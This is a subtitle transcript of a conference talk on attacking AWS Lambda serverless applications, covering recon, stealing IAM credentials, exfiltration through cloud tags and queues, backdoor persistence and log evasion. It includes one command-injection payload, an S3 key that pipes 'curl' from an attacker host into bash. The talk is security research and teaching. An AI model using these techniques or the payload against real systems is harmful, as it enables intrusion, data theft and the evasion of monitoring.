WEBVTT
00:00:00.000 --> 00:00:13.280
preroll music
00:00:13.280 --> 00:00:18.950
Herald: Like in the following talk I'm
happy to introduce Rich Jones. Rich is
00:00:18.950 --> 00:00:25.010
gonna talk about what he can do in 60
milliseconds with server-less servers.
00:00:25.010 --> 00:00:28.660
And please give a warm
round of applause for Rich!
00:00:28.660 --> 00:00:36.350
applause
00:00:36.350 --> 00:00:44.010
Rich: Hi everybody! Thank you very much
for having me, for CCC for hosting, for
00:00:44.010 --> 00:00:48.940
you guys for coming out! I appreciate it.
My name is Rich Jones. I'm the founder and
00:00:48.940 --> 00:00:55.600
CTO of gun.io. We find awesome freelance
gigs for free and open source hackers. I'm
00:00:55.600 --> 00:01:02.540
also the author of ZAPPA. Which is the best
damn server-less framework in the world.
00:01:02.540 --> 00:01:08.380
It can run any python web application on
AWS lambda. You can build event driven
00:01:08.380 --> 00:01:16.140
applications you can connect roughly
500.000 connections per second globally.
00:01:16.140 --> 00:01:22.170
Without any operations support right
out of the box for your existing apps.
00:01:22.170 --> 00:01:29.320
I first announced it about 6 months
ago actually at Hack & Tell event at
00:01:29.320 --> 00:01:34.630
C-Base and now it is like used in
production by all sorts of big companies
00:01:34.630 --> 00:01:41.020
which is pretty cool! You should try it out.
Welcome to my talk, it is called Gone in
00:01:41.020 --> 00:01:46.700
60 Milliseconds! aka having a sexy title
gets your talk accepted at conferences.
00:01:46.700 --> 00:01:53.310
aka Intrusion and Exfiltration in
Server-less Architectures. Whoooh. What the
00:01:53.310 --> 00:02:01.939
hell does that mean? Quick poll. Who here
is familiar with AWS Lambda? Okay, so
00:02:01.939 --> 00:02:08.130
about half, that's pretty good. That's
what I was expecting. Okay, great. For the
00:02:08.130 --> 00:02:14.650
unfamiliar, the good old days of servers.
You would have the web server it would
00:02:14.650 --> 00:02:19.070
connect to the database and that was
pretty much it it would – you'd have the
00:02:19.070 --> 00:02:23.910
server. You'd have one server, you'ld
probably run lots of services off that
00:02:23.910 --> 00:02:30.710
server so if you found a debug panel or
something like that, you could use one of
00:02:30.710 --> 00:02:35.530
your favorite tools, you could get a shell
and basically run a mock I know is the
00:02:35.530 --> 00:02:44.140
best. With the server-less architecture
this one example it uses instead of a
00:02:44.140 --> 00:02:49.720
permanent web-server it uses this service
called AWS Lambda which provides no
00:02:49.720 --> 00:02:55.890
permanent infrastructure Your entire
application function is held in cache by
00:02:55.890 --> 00:03:02.570
Amazon AWS and it's spawned and destroyed
on a per-request basis. So in the space of
00:03:02.570 --> 00:03:07.780
a single web request or whatever function
request, it creates the container, returns
00:03:07.780 --> 00:03:13.110
and destroys the container. The code
execution is triggered by a variety of
00:03:13.110 --> 00:03:19.440
cloud event sources every request is in an
isolated container. I'm gonna put an
00:03:19.440 --> 00:03:24.700
asterisk next to next to isolated as you
see. The big advantage for the company is
00:03:24.700 --> 00:03:29.030
that it's super scalable. So, because one
request is one server it means that 10
00:03:29.030 --> 00:03:32.342
requests is 10 servers and so on and so on
and so on. So you can scale this all the
00:03:32.342 --> 00:03:37.370
way up to like trillions of events per
year which is pretty cool. It's also much
00:03:37.370 --> 00:03:44.220
less expensive because you pay by the
millisecond .000002 dollars per
00:03:44.220 --> 00:03:49.570
millisecond which interestingly is now the
same in euros keep an eye on that,
00:03:49.570 --> 00:03:56.930
I was surprised by. Security patches to the
operating system are automatic because
00:03:56.930 --> 00:04:00.630
Amazon handles them so there is basically
you don't worry about the operating system
00:04:00.630 --> 00:04:05.920
at all you only worry about your single
function which saves time, saves money,
00:04:05.920 --> 00:04:11.920
and lets you fire all people who work in
OPS. Some common patterns that you see for
00:04:11.920 --> 00:04:16.798
companies and, you know, services are
using lambda. One is just the web server
00:04:16.798 --> 00:04:22.950
this is like if you already use zappa for
a django CMS or something like this. It's
00:04:22.950 --> 00:04:29.460
just API gateway, another AWS service to
lambda, which is the one we saw before
00:04:29.460 --> 00:04:32.830
Another common way that people are using
this for asynchronous data processing.
00:04:32.830 --> 00:04:37.330
So if you have a file upload, that will then
execute the lambda function which will
00:04:37.330 --> 00:04:44.610
store the result in a DynamoDB store and
then have that trigger the upload to the
00:04:44.610 --> 00:04:53.909
S3 return bucket. So this is kind of like
a very simple microservice type framework
00:04:53.909 --> 00:05:00.320
that you can use lambda for. Chat bots is
another common use case So if you having a
00:05:00.320 --> 00:05:05.000
SMS Message or an e-mail exchange with a
robot, it could be through lambda or one
00:05:05.000 --> 00:05:10.759
of those cool new like echo things. Maybe
we will be able to like actually hack
00:05:10.759 --> 00:05:15.770
through those in the future using some of
these techniques. So you can kind of see
00:05:15.770 --> 00:05:21.780
that there. And the big one that a lot of
companies are using like fintech and
00:05:21.780 --> 00:05:28.340
medical and science companies are using
for is is kind of the driving engine for
00:05:28.340 --> 00:05:32.289
the state machine in big data processing.
This is kind of the interesting one that
00:05:32.289 --> 00:05:39.240
we get into a little bit more later in the
talk So the lambda kind of drives the
00:05:39.240 --> 00:05:47.069
queue which is how the like big data
processing like compute cluster is knowing
00:05:47.069 --> 00:05:51.840
what to do. And there is loads more of
these patterns but those are some of the
00:05:51.840 --> 00:05:57.060
ones that I've seen pretty commonly. So
when you try to attack these kind of
00:05:57.060 --> 00:06:01.650
applications it probably won't work. And
even if it does work, it will shut down
00:06:01.650 --> 00:06:07.629
immediately because they live in these
short lived isolated container which is
00:06:07.629 --> 00:06:12.749
no fun. The container dies after the
function returns. Oh no! What does that
00:06:12.749 --> 00:06:16.620
mean for us? Us hackers. I mean it is
harder to infiltrate because there is less
00:06:16.620 --> 00:06:21.680
common code most of the stuff is custom so
far. You can't use the same wordpress
00:06:21.680 --> 00:06:27.419
vulnerability over and over again. The
services are isolated, the functions are
00:06:27.419 --> 00:06:33.680
isolated, there is no users to really
escalate on the system. There's no
00:06:33.680 --> 00:06:37.870
sysadmins to, you know, do your cool cron
tricks or whatever, for gaining
00:06:37.870 --> 00:06:44.940
escalation. It's also harder to persist
our malware because it immediately dies as
00:06:44.940 --> 00:06:49.910
soon as the container closes. It is also a
read-only filesystem, so we can't hide our
00:06:49.910 --> 00:06:56.229
files deep in the operating system And
it's only a sub-second lifecycle for the
00:06:56.229 --> 00:07:01.439
entire container anyway. There is no
initialization system to infect because
00:07:01.439 --> 00:07:08.169
that is all taken care of by amazon and we
can't get at it. It is also harder to
00:07:08.169 --> 00:07:12.779
exfiltrate, because there is a thing
called the virtual private cloud AWS
00:07:12.779 --> 00:07:18.259
provides. There's also function specific
roles which means a very strict
00:07:18.259 --> 00:07:24.690
permissioning system. A lot times we can't
get a reverse shell because there is no network
00:07:24.690 --> 00:07:30.400
access. So basically sad face. Oh no,
we're totally boned!
00:07:30.400 --> 00:07:38.030
No we're not, hell not, dog. When Bezos
closes a door, he opens a window.
00:07:38.030 --> 00:07:46.950
laughter
applause
00:07:46.950 --> 00:07:53.259
So we gonna learn some recon, some
infiltration, some exploitation, some
00:07:53.259 --> 00:08:01.090
exfiltration and a little bit of cleanup!
Part 0: Recon aka How the hell do we know
00:08:01.090 --> 00:08:06.389
what we're attacking? There's gonna be two
attack surfaces. An outer and inner attack
00:08:06.389 --> 00:08:14.430
surface for a lambda function. The outer
attack surfaces are the API Gateway so if
00:08:14.430 --> 00:08:20.569
you look at the headers and you see that
it's serving dynamic content from
00:08:20.569 --> 00:08:26.340
CloudFront, that might an indication that
you're dealing with API Gateway.
00:08:26.340 --> 00:08:30.430
File uploads is pretty easy if you look at
whatever the upload endpoint is and you
00:08:30.430 --> 00:08:35.179
look at headers that says it is S3 that
probably means that it's S3. If you look at
00:08:35.179 --> 00:08:38.620
the email headers that you you're
communication to the function with you can
00:08:38.620 --> 00:08:44.550
see that it is Amazon SES so that is
pretty obvious. There is also the inner
00:08:44.550 --> 00:08:49.060
attack surface. So these are services that
we can't access directly, but provide
00:08:49.060 --> 00:08:54.630
event sources for the function, so this
can mean a whole bunch of stuff, so queues
00:08:54.630 --> 00:08:59.250
if there are a lot of long running tasks
and it's on AWS, it is possible that they
00:08:59.250 --> 00:09:05.480
are using the SQS queing system. But it
can also mean database events, streams of
00:09:05.480 --> 00:09:10.480
information, user events, so logins and
user creations and stuff like that can
00:09:10.480 --> 00:09:17.710
also be an event source. And the log
system itself can provide an event source.
00:09:17.710 --> 00:09:25.980
Part 1 infiltration aka how the hell are
we gonna weaponize all that? So lambda
00:09:25.980 --> 00:09:30.990
functions essentially what the application
is, is kind of like a blue ball machine here.
00:09:30.990 --> 00:09:37.770
What we call Rube Goldberg machines.
I just learned, for the translators, that
00:09:37.770 --> 00:09:43.200
you guys call these nonsense machines.
Essentially lots of little functions and a
00:09:43.200 --> 00:09:48.080
lot of passing information between them.
So to figure out what's going on, we're
00:09:48.080 --> 00:09:54.560
going to use a process of destructive
mechanics aka dropping a bolt into the
00:09:54.560 --> 00:09:58.330
engine and then listening to the sound
that it makes to try to figure out what is
00:09:58.330 --> 00:10:06.130
going on inside. The TL;DR of that is we
gonna attack the event sources themselves,
00:10:06.130 --> 00:10:10.850
we're going to fire off every type of
cloud event service that we can and
00:10:10.850 --> 00:10:18.010
basically see what shakes out. The usual
suspects for infection, unsanitized input,
00:10:18.010 --> 00:10:25.090
deserialization bugs of all, you know all
varieties, server side script injection,
00:10:25.090 --> 00:10:30.280
malicious binary files, and if it is a web
server, most of your favorite web
00:10:30.280 --> 00:10:35.660
application type exploits. So just as a
very trivial example of the kind of things
00:10:35.660 --> 00:10:43.630
that you might see here, So here is some
trivially vulnerable code it's connecting
00:10:43.630 --> 00:10:51.600
to an S3 bucket, it's going over the items
and it's calling some process on the keys
00:10:51.600 --> 00:10:59.310
that are in the bucket. But what happens
if we create an object called: "; curl -s
00:10:59.310 --> 00:11:04.940
exploit.server.xyz | bash" well than
that's gonna expand because it is just
00:11:04.940 --> 00:11:13.200
using the key name to call, you know, our
exploit code on the lambda function.
00:11:13.200 --> 00:11:22.160
Hurray! we did it! Part 2 exploitation aka
how can we escalate our infection? aka
00:11:22.160 --> 00:11:28.810
what the hell is a lambda? aka what's
worth stealing? So if we actually find,
00:11:28.810 --> 00:11:31.970
you know, if we just look at the operating
system of a lambda, now that we're able to
00:11:31.970 --> 00:11:36.730
execute commands on it. Well that won't
work as we don't have a shell, everything
00:11:36.730 --> 00:11:46.150
on lambda had this event context pattern
in it, whatever but if we do the find and
00:11:46.150 --> 00:11:52.680
we look at it, it pretty much looks like
standard redhat 6 installation it's got
00:11:52.680 --> 00:11:57.760
python 2.7, interestingly it has python
3.4 on it, it's got node, it's got perl,
00:11:57.760 --> 00:12:04.140
it's got gcc, it's got all you know, stuff
that we like. Which is pretty good. If we
00:12:04.140 --> 00:12:08.390
look at the system even further, we'll see
that it's running an operating system
00:12:08.390 --> 00:12:14.890
called Amazon Linux, which is the default
for EC2, so maybe it's an EC2 server.
00:12:14.890 --> 00:12:20.870
If it's an EC2 server, can we access the
metainfo server? That's a good idea! For
00:12:20.870 --> 00:12:25.521
For those who don't know about the meta-
data server, from Amazon docs: Instance
00:12:25.521 --> 00:12:29.330
metadata is data about your instance that
you can use to configure or manage the
00:12:29.330 --> 00:12:33.450
running instance, anyone who can access
the instance can view its metadata.
00:12:33.450 --> 00:12:38.220
Therefore, you should take suitable
precautions to protect sensitive data aka
00:12:38.220 --> 00:12:41.620
don't get hacked, because people can look
at this stuff. We can figure out all this
00:12:41.620 --> 00:12:46.331
information including keys and users and
security groups so, you know, really good,
00:12:46.331 --> 00:12:53.280
good intel. What happens if we try to
access the server? It doesn't work, so,
00:12:53.280 --> 00:12:57.170
sorry. But that's a good trick to remember
if you are attacking EC2, that you can get
00:12:57.170 --> 00:13:01.899
a lot of information out of the metainfo
server. Now you're thinking, well let's take a
00:13:01.899 --> 00:13:06.040
look at the environment, let's look around
what's in the environment variables.
00:13:06.040 --> 00:13:10.360
Quite a lot actually including some inter-
esting stuff like session tokens, security
00:13:10.360 --> 00:13:17.080
tokens, access key IDs and secret access
keys. So that's pretty cool. What are
00:13:17.080 --> 00:13:25.260
those? Enter IAM, so this is Amazons
identity and access management system
00:13:25.260 --> 00:13:32.670
which provides per resource authentication
and authorisation definition. So basically
00:13:32.670 --> 00:13:39.370
1 task is gonna have 1, you know, set of
authorisation to perform its functions.
00:13:39.370 --> 00:13:46.470
It sounds bad, it is. Like it makes our
job a lot harder. The good news is that
00:13:46.470 --> 00:13:51.260
it's super easy to fuck up! Pretty much
everybody who's using IAM has probably
00:13:51.260 --> 00:13:56.290
fucked up. Especially if you read the
documentations which Amazon provides which
00:13:56.290 --> 00:14:02.930
is terrible, or even badder if they got
their information from the AWS forum where
00:14:02.930 --> 00:14:09.170
you can find like real gems of wisdom
about give everybody access to everything,
00:14:09.170 --> 00:14:13.640
which is nice. So full disclosure,
everything all the fun stuff that we're
00:14:13.640 --> 00:14:20.000
gonna do, does depend on them having
some misconfigured IAM even subtly
00:14:20.000 --> 00:14:26.780
misconfigured IAM which isn't as cool, I
have to admit but it's pretty common, so I
00:14:26.780 --> 00:14:32.610
don't think it's unreasonable to have
that, be part of our attack criteria.
00:14:32.610 --> 00:14:38.600
So what the keys that we saw, were part of
the lambda execution policy which uses
00:14:38.600 --> 00:14:43.670
this permission called iam:PassRole
basically you take a predefined policy for
00:14:43.670 --> 00:14:48.120
what a function is allowed to do. It
creates a temporary user with those
00:14:48.120 --> 00:14:52.930
permissions and gives the credentials for
that user into the userspace in those
00:14:52.930 --> 00:14:59.820
environment variables that we saw. So this
is one of the ones that Amazon recommends,
00:14:59.820 --> 00:15:07.590
this is the AWS VPCAccessExecutionRole
this is from Amazons documentation and
00:15:07.590 --> 00:15:13.880
this actually provides some interesting
things that we're gonna be able to use.
00:15:13.880 --> 00:15:19.200
Resource:* is a great one because that
means we have access to everything
00:15:19.200 --> 00:15:23.360
available to the account We will need to
create log groups and streams, which is
00:15:23.360 --> 00:15:27.320
kind of interesting. Describing the
network interface is also super
00:15:27.320 --> 00:15:31.670
interesting for us. And this will come in
handy later. Okay, so we can describe the
00:15:31.670 --> 00:15:37.000
network What about actually like infecting
the application source? Like we wanna add
00:15:37.000 --> 00:15:40.300
a backdoor. But first, where does the code
live? So we check the environment
00:15:40.300 --> 00:15:48.910
variables again we see this key value for
LAMBDA_TASK_ROOT which is good so we will
00:15:48.910 --> 00:15:54.450
just cat our backdoor into the application
No that is not gonna work. Sad face,
00:15:54.450 --> 00:15:59.601
because it's a read-only filesystem.
And even if you could, write to that, you
00:15:59.601 --> 00:16:05.360
know, write to the filesystem, it's not
gonna persist for other users who, to call
00:16:05.360 --> 00:16:09.370
the function because it's not cached in
memory so it would only live for the span
00:16:09.370 --> 00:16:14.620
of a single HTTP request which we don't
care about. But, I got all of these cool,
00:16:14.620 --> 00:16:20.810
like hacker tools I wanna install on the
system how do I do that? Fortunately there
00:16:20.810 --> 00:16:25.250
is /tmp space on the disk because some,
you know, normal applications are gonna
00:16:25.250 --> 00:16:31.650
need to read and write files and stuff so
/tmp is totally readable and it works as
00:16:31.650 --> 00:16:39.990
we'd expected to. Amazon describes this as
ephemeral disk capacity. But ephemeral
00:16:39.990 --> 00:16:46.560
isn't quite true actually, because this is
how lambda executions are not completely
00:16:46.560 --> 00:16:54.070
isolated. For performance reasons they're
actually cached in Amazons memory across
00:16:54.070 --> 00:17:00.920
different executions. So because /tmp is a
ram disk, and because ram is cached that
00:17:00.920 --> 00:17:07.730
means that /tmp is cached as well, so if
we can store our tools across multiple
00:17:07.730 --> 00:17:14.299
executions. Yay! But the caveat for that is
that we have to keep the function warm in
00:17:14.299 --> 00:17:20.780
memory by calling it every so often That
length of time is 4 minutes, 30 seconds
00:17:20.780 --> 00:17:25.329
Somebody violated an NDA to tell you that,
don't ask me
00:17:25.329 --> 00:17:28.009
laughing
00:17:28.009 --> 00:17:33.059
applause
00:17:33.059 --> 00:17:36.630
What's cool is this actually can also
apply to long running processes aswell.
00:17:36.630 --> 00:17:43.129
It won't keep the function open, but it
will, kind of, pause the process and then
00:17:43.129 --> 00:17:51.549
reopen it on the next execution. So now we
can install, if we have linux x86_64
00:17:51.549 --> 00:17:56.980
compiled versions of all our favorite
tools we could put them on to the lambda
00:17:56.980 --> 00:18:02.320
function and start calling it. Okay, so
now we got some keys, we got some tools,
00:18:02.320 --> 00:18:07.549
what can we do? So the first thing that we
probably wanna do, is just see what we're
00:18:07.549 --> 00:18:14.940
allowed to do. Using the AWS CLI tool we
can call this code and we will get back a
00:18:14.940 --> 00:18:21.819
policy, and if we're lucky, it 'll be
** and then we can do whatever we want.
00:18:21.819 --> 00:18:28.890
Jackpot! We can create a new admin user
and pillage all the databases basically,
00:18:28.890 --> 00:18:36.759
it's game over! Yeah right! Maybe it'll
happen probably yeah right. A very brief
00:18:36.759 --> 00:18:42.660
interlude. If you do get the jackpot, if
you are looking at Facebook's AWS usage and
00:18:42.660 --> 00:18:49.380
you get *****. Don't sell the user info to
spammers. Don't claim a bug bounty. Don't
00:18:49.380 --> 00:18:55.789
just like use their creditcard to mine
bitcoin. Don't tell, you know, your
00:18:55.789 --> 00:19:02.370
favorite TLA. Don't even send all the
information to Julian, he's busy. Bug
00:19:02.370 --> 00:19:07.260
bounties are boring. Espionage is boring.
I'm tired of all this like spy vs spy stuff.
00:19:07.260 --> 00:19:12.689
Use your skills of infection for awesome.
Put up a bad-ass hacking crew name, you know.
00:19:12.689 --> 00:19:15.549
laughing
00:19:15.549 --> 00:19:19.570
Put spooky skulls, put a bunch of
spooky skulls on facebook.
00:19:19.570 --> 00:19:25.370
Put your IRC homies, know what's up
applause
00:19:25.370 --> 00:19:32.220
I'm pretty serious about this, actually.
Like I think the word losing some like
00:19:32.220 --> 00:19:37.070
aesthetic quality to our culture in
pursuit of like money and like you know,
00:19:37.070 --> 00:19:43.950
careers and stuff like that. But I think
the aesthetic value actually has like more
00:19:43.950 --> 00:19:49.309
worth and that over time is like, the
broader community begins to respect like
00:19:49.309 --> 00:19:54.760
our aesthetic contributions, like the
those hacks will actually be worth more in
00:19:54.760 --> 00:20:02.510
the long run than any bug bounty that you
'll get now. So like keep it real, anyway,
00:20:02.510 --> 00:20:03.620
that was my side.
00:20:03.620 --> 00:20:09.010
applause
00:20:09.010 --> 00:20:17.080
So far more likely than ., you gonna get
some kind of like strict permission, like
00:20:17.080 --> 00:20:23.179
the ability to access S3 objects, or the
the ability to access the database, or
00:20:23.179 --> 00:20:29.879
some combination thereof using various,
different cloud services available. How
00:20:29.879 --> 00:20:34.149
can we use that for nefarious purposes you
wondering. That's a great question. Part 3:
00:20:34.149 --> 00:20:41.809
Exfiltration aka take the money and run
aka the fun part. TL;DR when you don't have
00:20:41.809 --> 00:20:46.610
a direct network connection, to the things
that you wanna access, because you using a
00:20:46.610 --> 00:20:52.110
cloud provider, you can use tags, meta
information, and the cloud services
00:20:52.110 --> 00:20:58.580
themselves to shuttle information out of
the cloud. So easy mode for instance, if we
00:20:58.580 --> 00:21:04.679
see that we have SES permissions, send,
use the email, send, you know, we have a
00:21:04.679 --> 00:21:08.029
single function that will let us send an
email out because it's a cloud provider
00:21:08.029 --> 00:21:14.080
that has an e-mail service. Or send a SMS,
you know, you could actually, you can hack
00:21:14.080 --> 00:21:21.080
something and get the results back to your
virtual cellphone. Slightly harder, if you
00:21:21.080 --> 00:21:27.630
just have S3 objects, you could, you know,
zip up the source of the application, put
00:21:27.630 --> 00:21:37.470
it on S3 and get it out that way. The fun
thing is VPC exfiltration. So this is the
00:21:37.470 --> 00:21:40.320
architecture that we were talking about
before It's a simple vibration but this is
00:21:40.320 --> 00:21:46.409
this is a pretty common architecture for
big data using lambda. What is a VPC?
00:21:46.409 --> 00:21:50.850
Great question! Amazon VPC provides
advanced security features such as
00:21:50.850 --> 00:21:55.529
security groups and network access control
lists to enable inbound and outbound
00:21:55.529 --> 00:22:01.580
filtering at the instance level and subnet
level. Sounds bad. It is. The good news.
00:22:01.580 --> 00:22:08.009
Super easy to fuck up! Especially if you
read Amazons old docs and the AWS forum.
00:22:08.009 --> 00:22:16.309
So lambda has access to these VPC resources.
aka Lambda is our VPC hole puncher.
00:22:16.309 --> 00:22:20.610
If you're, you know, depending on how
they've implemented it, this may actually
00:22:20.610 --> 00:22:27.269
mean that Amazon can access your internal
corporate network, which is pretty cool.
00:22:27.269 --> 00:22:30.970
But we don't actually even need to use the
network to do that, so I'm not gonna show
00:22:30.970 --> 00:22:36.429
you how to do that one, you figure that
out on your own, to exfil from a VPC
00:22:36.429 --> 00:22:42.529
without touching the VPC network. So this
is our architecture. Step 1, upload the
00:22:42.529 --> 00:22:49.590
malicious file, like I've indicated here
with a cool cyber skull. This will give us
00:22:49.590 --> 00:22:56.379
code execution in the Lambda environment.
We gonna put out a bunch of canaries. So
00:22:56.379 --> 00:23:02.519
we're gonna try calling SMS, e-mail, DNS,
S3, queues, everything that is available
00:23:02.519 --> 00:23:07.049
to us, just try to put some information
out that we can read back. In this case we
00:23:07.049 --> 00:23:12.960
see that we can type our results into the
bucket, so we can get information that way.
00:23:12.960 --> 00:23:18.550
So we have bidirectional communication
to an owned lambda service.
00:23:18.550 --> 00:23:24.250
When we use the keys that we've exfiltrated
that way, we look at the policy,
00:23:24.250 --> 00:23:29.879
we see that we have the lambda VPC
access execution role from earlier, with
00:23:29.879 --> 00:23:35.190
resource * which is nice and our
DescribeNetworkInterfaces create network
00:23:35.190 --> 00:23:38.809
interfaces permessions that we saw
earlier, that Amazon recommends as well as
00:23:38.809 --> 00:23:46.150
simple S3 and SQS access just for the
necessary functions that we want for the
00:23:46.150 --> 00:23:53.330
application. Our target in this case is the
database which is still inside the VPC, so
00:23:53.330 --> 00:23:58.850
we no access to, direct access to the
database from our lambda execution
00:23:58.850 --> 00:24:03.899
environment because it's all wrapped up in
this VPC. But what we can do is, we can
00:24:03.899 --> 00:24:11.940
add things to the SQS queue. And if they're
using Celery, actually uses pickle, is a
00:24:11.940 --> 00:24:17.029
way to shuttle information about – for the
javascript developers, it's a bit like
00:24:17.029 --> 00:24:23.999
using eval to figure out javascript. So if
we're able to add something, to, or, this
00:24:23.999 --> 00:24:27.989
is kind of manoeuvrer, like this is use
whatever technique that,
00:24:27.989 --> 00:24:33.789
you know, you prefer from there
to get your code on to the cluster
00:24:33.789 --> 00:24:40.070
but we're gonna use this pickle celery bug
to create an item on the queue,
00:24:40.070 --> 00:24:45.909
a malicious item on the queue, that will
then be picked up and run on the compute
00:24:45.909 --> 00:24:51.470
cluster. So now we have code execution on
the cluster, but we have no way to
00:24:51.470 --> 00:24:56.389
actually directly communicating to it,
because we're locked out of the VPC. What
00:24:56.389 --> 00:25:01.549
do we do now? So the interesting this is
actually use meta information about the
00:25:01.549 --> 00:25:08.330
VPC to exfil the information that we want,
so because we have the ability to describe
00:25:08.330 --> 00:25:17.860
network interfaces, inside the VPC, we
call, we add tags, to this, to the EC2
00:25:17.860 --> 00:25:22.149
instances and the network interfaces to
which they communicate. A lot of times
00:25:22.149 --> 00:25:26.820
they have this permission because tagging
is useful for the admins who wanna see
00:25:26.820 --> 00:25:33.700
what groups are owning what So we can add
the meta information about that to the
00:25:33.700 --> 00:25:38.389
network interface itself because the
lambda has the ability to read these tags
00:25:38.389 --> 00:25:43.140
back out, we can then get the information
that we want, we can put it through the S3
00:25:43.140 --> 00:25:49.999
and we can extract the information
this way. So nice! This also works for the
00:25:49.999 --> 00:25:56.000
application binaries because we can encode
something in Base64 and then put that in
00:25:56.000 --> 00:26:03.669
the tag set, and get that out that way
Which is nice! Similarly is the compute
00:26:03.669 --> 00:26:08.509
cluster able to modify DNS entries that we
can read, or is it able to create a named
00:26:08.509 --> 00:26:14.009
log groups, is it able to create queues,
is it able to create buckets, etc, etc be
00:26:14.009 --> 00:26:19.480
creative with the AWS services the're
available, there is lots! And a single
00:26:19.480 --> 00:26:23.149
overlapping permission can be enough In
fact, even a single overlapping service
00:26:23.149 --> 00:26:29.799
can be enough for information exfiltration
for instance you can encode information in
00:26:29.799 --> 00:26:34.080
the length of the queue and then read that
back out you could use the same thing with
00:26:34.080 --> 00:26:37.889
the number of number of network interfaces
that are available besides of the
00:26:37.889 --> 00:26:43.419
database, anything like that. So that's
pretty cool! What if they fix the bug?
00:26:43.419 --> 00:26:48.039
Persistence, aka how can we permanently
infect a system with no permanent
00:26:48.039 --> 00:26:54.210
infrastructure? aka abusing cloud vendor
features, continued. One neat lambda
00:26:54.210 --> 00:26:57.639
feature that is available is the idea of
function aliasing so Amazon will
00:26:57.639 --> 00:27:02.100
automatically give you like labels for the
available functions, and store all of the
00:27:02.100 --> 00:27:07.249
old functions with aliases for you, which
is useful for, you know, application
00:27:07.249 --> 00:27:11.279
maintainers because they can provide
rollbacks and something goes wrong, they
00:27:11.279 --> 00:27:15.509
can tag their dev and prod and staging
environments and stuff like that as an
00:27:15.509 --> 00:27:22.059
audit trail. But we can also use it to
persist our malware. So we can get the
00:27:22.059 --> 00:27:26.989
function, get the source code for any
function that's available this way, we can
00:27:26.989 --> 00:27:33.450
upload a backdoored version of that and
then alias it to one of those previous
00:27:33.450 --> 00:27:38.809
functions and hide it there if we need to
access it without having it, be uploaded
00:27:38.809 --> 00:27:42.350
every time. An alternate route, which is
especially useful if the application is
00:27:42.350 --> 00:27:47.029
being deployed by travis, or some CI
system, anything that uses CloudFormation.
00:27:47.029 --> 00:27:54.080
CloudFormation requires the code to be
hosted on S3 permanently, for doing it's
00:27:54.080 --> 00:27:59.130
update function. So if we just infect the
code that's on S3, the next time that the
00:27:59.130 --> 00:28:06.590
CI updates the application stack, it'll
use our infected code, which is useful.
00:28:06.590 --> 00:28:11.109
This is cool because if we have access to
the code buckets, than we can actually use
00:28:11.109 --> 00:28:16.570
a single infected lambda to infect all the
other lambda functions that are available
00:28:16.570 --> 00:28:23.159
in the stack. One better is to actually
treat the entire model serverlessly.
00:28:23.159 --> 00:28:29.630
So imagine if we have a simple application
using the Foo lambda that's triggered when
00:28:29.630 --> 00:28:35.960
there is a SQS event. Which is actually
gonna be one function and then all the old
00:28:35.960 --> 00:28:42.610
functions aliased all the way back to
function 1. So if we can infect this one
00:28:42.610 --> 00:28:50.119
with some bug that we're exploiting, and
we're able to create a backdoored function
00:28:50.119 --> 00:28:54.450
we can use the same code, create the new
function, but it's backdoored, and then
00:28:54.450 --> 00:29:00.419
alias that back to the first function
that'll now contain our backdoored code,
00:29:00.419 --> 00:29:07.109
we can create an event trigger, so that
whenever new code is updated, is submitted
00:29:07.109 --> 00:29:12.029
to the S3 bucket where the functions are
registered, that will actually trigger the
00:29:12.029 --> 00:29:19.320
execution of our malware, which will get
the code of the new function infected with
00:29:19.320 --> 00:29:24.840
our backdoor, recreate the function,
delete the new one, and then we have, you
00:29:24.840 --> 00:29:30.390
know, our backdoored version of the latest
code that is permanently available for
00:29:30.390 --> 00:29:37.960
every request, new code uploads are the
trigger for reinfection of our malware.
00:29:37.960 --> 00:29:42.960
Part 5 cleaning up I'll go fast here, is
boring. Full disclosure, I'm not very
00:29:42.960 --> 00:29:49.769
tidy, so be careful with all this stuff if
you need to be real stealthy. All lambda
00:29:49.769 --> 00:29:53.230
executions have unique execution IDs, if
you just write them down, you can delete
00:29:53.230 --> 00:29:58.320
them later. But the errors there still
gonna trigger the CloudWatch alarms, so
00:29:58.320 --> 00:30:04.569
can you hop off the log group, that's also
available in the environment variables?
00:30:04.569 --> 00:30:09.489
No you can't, but you can change the
retention policy, so, maybe we can just
00:30:09.489 --> 00:30:14.210
have it's own, and hopefully they don't
look at logs. That's not very good, a
00:30:14.210 --> 00:30:20.539
better technique is actually to don't log
anything to begin with. So because these
00:30:20.539 --> 00:30:25.679
functions have extremely limited memory
size, cause they only build to do one
00:30:25.679 --> 00:30:31.859
thing, if we exhaust the memory of the
function, there's not enough memory to
00:30:31.859 --> 00:30:39.119
actually do the logging properly, so if we
wrap all of our canary code inside of
00:30:39.119 --> 00:30:44.299
exception handlers, that'll then just
allocate all the memory that's available,
00:30:44.299 --> 00:30:49.229
then it doesn't count as an invocation
error and it won't actually register ...
00:30:49.229 --> 00:30:54.889
applause
00:30:54.889 --> 00:31:00.160
Shout out to Dee, he told me that trick,
my friend. One copy out of this, one
00:31:00.160 --> 00:31:06.450
pattern is to... time did go super fast...
if they are logging everything, the flip
00:31:06.450 --> 00:31:09.630
side of that is that they're logging
everything so that you can go and get
00:31:09.630 --> 00:31:16.190
everybodys password and stuff, so that's
fun. Part 6 synthesis happy Christmas,
00:31:16.190 --> 00:31:24.379
everybody, ho ho ho, I'm Santa Claus and
I'm giving you a present I'm giving you an
00:31:24.379 --> 00:31:29.879
AWS Lambda Infection Toolkit! Call mackenzie
you can figure out why on your own.
00:31:29.879 --> 00:31:37.400
It can do a lot of the tricks that we
talked about today. Exfil, infiltration,
00:31:37.400 --> 00:31:43.380
creating reinfection handlers, all the
stuff, maybe your feature, put it on
00:31:43.380 --> 00:31:48.950
github this afternoon, check it out! In
conclusion, server-less architectures present
00:31:48.950 --> 00:31:53.350
new obstacles, but we can defeat those
obstacles by abusing cloud features
00:31:53.350 --> 00:31:56.740
themselves. Do you need secure serverless
apps, you should hire me.
00:31:56.740 --> 00:31:57.740
laughing
00:31:57.740 --> 00:32:01.379
Do you want to contribute code, you should
check out my github. You should also check
00:32:01.379 --> 00:32:04.609
out the slack channel. Shout out to
everybody in the zappa slack, is a ton of
00:32:04.609 --> 00:32:09.900
super smart AWS people doing interesting
things in there, thank you!
00:32:09.900 --> 00:32:12.070
applause
00:32:12.070 --> 00:32:16.039
Herald: Allright, perfect.
00:32:16.039 --> 00:32:19.179
applause
00:32:19.179 --> 00:32:24.890
Herald: Thanks a lot Rich. Unfortunately we don't
have any time left for Q&A, but, are you
00:32:24.890 --> 00:32:28.760
gonna be around for questions, perfect.
So if you are in the room, you can just
00:32:28.760 --> 00:32:35.839
